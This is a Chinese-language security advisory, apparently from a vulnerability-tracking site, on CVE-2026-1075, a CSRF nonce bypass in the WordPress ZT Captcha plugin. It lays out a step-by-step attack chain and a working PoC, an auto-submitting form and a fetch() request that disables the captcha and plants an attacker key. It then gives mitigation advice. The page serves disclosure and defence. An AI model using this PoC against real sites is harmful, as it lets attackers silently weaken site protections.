IPBUF安全漏洞报告
English
CVE-2026-1075 CVSS 4.3 中危

CVE-2026-1075 | WordPress ZT Captcha插件CSRF漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2026-1075
漏洞类型
CSRF (跨站请求伪造)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
ZT Captcha plugin for WordPress

相关标签

CSRF跨站请求伪造WordPress插件漏洞ZT CaptchaNonce验证绕过CVE-2026-1075中危漏洞认证绕过

漏洞概述

CVE-2026-1075是WordPress ZT Captcha插件中的一个跨站请求伪造(CSRF)漏洞。该插件是一款用于WordPress网站的验证码插件,广泛应用于需要防止机器人和垃圾信息提交的场景。漏洞存在于插件的设置保存功能中,由于对save_ztcpt_captcha_settings操作的nonce验证存在缺陷,攻击者可以通过发送空token值绕过验证机制。此漏洞影响该插件1.0.4及以下所有版本。漏洞的利用需要诱导已登录的管理员用户点击恶意链接或访问包含恶意请求的页面。一旦攻击成功,未认证的攻击者可以在管理员不知情的情况下修改插件的设置参数,可能导致验证码功能失效、站点安全防护被削弱,甚至可能被利用进行进一步的攻击活动。鉴于该插件在WordPress生态中的使用场景,漏洞可能影响大量依赖该插件进行安全防护的网站。

技术细节

漏洞根源在于ZT Captcha插件的CaptchaRequest.php文件中对save_ztcpt_captcha_settings操作的nonce验证逻辑不严谨。正常情况下,WordPress插件应该使用wp_verify_nonce()函数验证请求的合法性,但该插件的验证机制允许攻击者通过提交空字符串作为nonce值来绕过检查。漏洞代码位于插件的请求处理模块,当接收到save_ztcpt_captcha_settings动作请求时,代码未正确处理nonce为空或缺失的情况,导致验证函数返回false后仍然继续执行后续的设置保存逻辑。攻击者可以利用这一缺陷构造恶意HTML页面或钓鱼链接,诱使管理员用户访问。当管理员浏览器发起请求时,浏览器会自动携带目标站点的Cookie信息,由于请求来自同一源,服务器会认为这是合法的管理员操作。攻击者可以在请求中包含修改后的插件设置参数,如禁用验证码功能、修改验证码类型等,从而绕过站点的安全防护机制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress ZT Captcha插件版本,确认版本在1.0.4或以下。
STEP 2
步骤2: 构造恶意页面
攻击者创建包含恶意表单的HTML页面,表单指向目标网站的admin-post.php端点,并设置action为save_ztcpt_captcha_settings,将nonce字段留空以绕过验证。
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、恶意链接或其他社会工程手段诱导目标网站的管理员访问恶意页面或点击恶意链接。
STEP 4
步骤4: 浏览器自动提交请求
当管理员访问恶意页面时,浏览器自动携带该站点的认证Cookie向目标服务器发送POST请求。
STEP 5
步骤5: 绕过验证并修改设置
服务器接收到请求后,由于nonce字段为空,验证逻辑存在缺陷,允许请求继续执行,导致插件设置被恶意修改。
STEP 6
步骤6: 验证码功能失效
攻击成功后将插件设置为禁用状态或修改配置,使网站的验证码保护机制失效,为后续垃圾信息或恶意注册创造条件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2026-1075 --> <!-- ZT Captcha Plugin <= 1.0.4 Nonce Bypass --> <!DOCTYPE html> <html> <head> <title>ZT Captcha Settings Modification</title> </head> <body> <h1>ZT Captcha CSRF Attack PoC</h1> <p>This PoC demonstrates the CSRF vulnerability in ZT Captcha plugin.</p> <!-- Auto-submit form to modify plugin settings --> <form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST"> <!-- Required WordPress admin-post.php parameters --> <input type="hidden" name="action" value="save_ztcpt_captcha_settings"> <!-- Bypass nonce validation with empty token --> <input type="hidden" name="ztcpt_captcha_settings_nonce" value=""> <!-- Plugin settings that can be modified --> <input type="hidden" name="ztcpt_enable_captcha" value="0"> <input type="hidden" name="ztcpt_captcha_type" value="disabled"> <input type="hidden" name="ztcpt_secret_key" value="attacker_controlled_key"> <!-- Additional settings that could be manipulated --> <input type="hidden" name="ztcpt_form_ids" value="all"> <input type="hidden" name="ztcpt_error_message" value="Captcha Disabled"> </form> <script> // Auto-submit when page loads document.getElementById('csrfForm').submit(); </script> <p>If you see this message, the form was already submitted.</p> </body> </html> <!-- Alternative: Fetch API based PoC --> <script> // Fetch-based CSRF attack fetch('http://target-site.com/wp-admin/admin-post.php', { method: 'POST', mode: 'no-cors', credentials: 'include', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams({ 'action': 'save_ztcpt_captcha_settings', 'ztcpt_captcha_settings_nonce': '', // Empty nonce bypasses validation 'ztcpt_enable_captcha': '0', 'ztcpt_captcha_type': 'disabled' }) }); </script>

影响范围

ZT Captcha plugin for WordPress <= 1.0.4

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用ZT Captcha插件直到完成升级;2) 加强对管理员账户的安全防护,启用双因素认证;3) 通过.htaccess或WAF规则限制admin-post.php的访问来源;4) 提醒管理员不要点击来路不明的链接;5) 监控admin-post.php的请求日志,检测异常的设置修改行为。建议尽快应用官方发布的安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表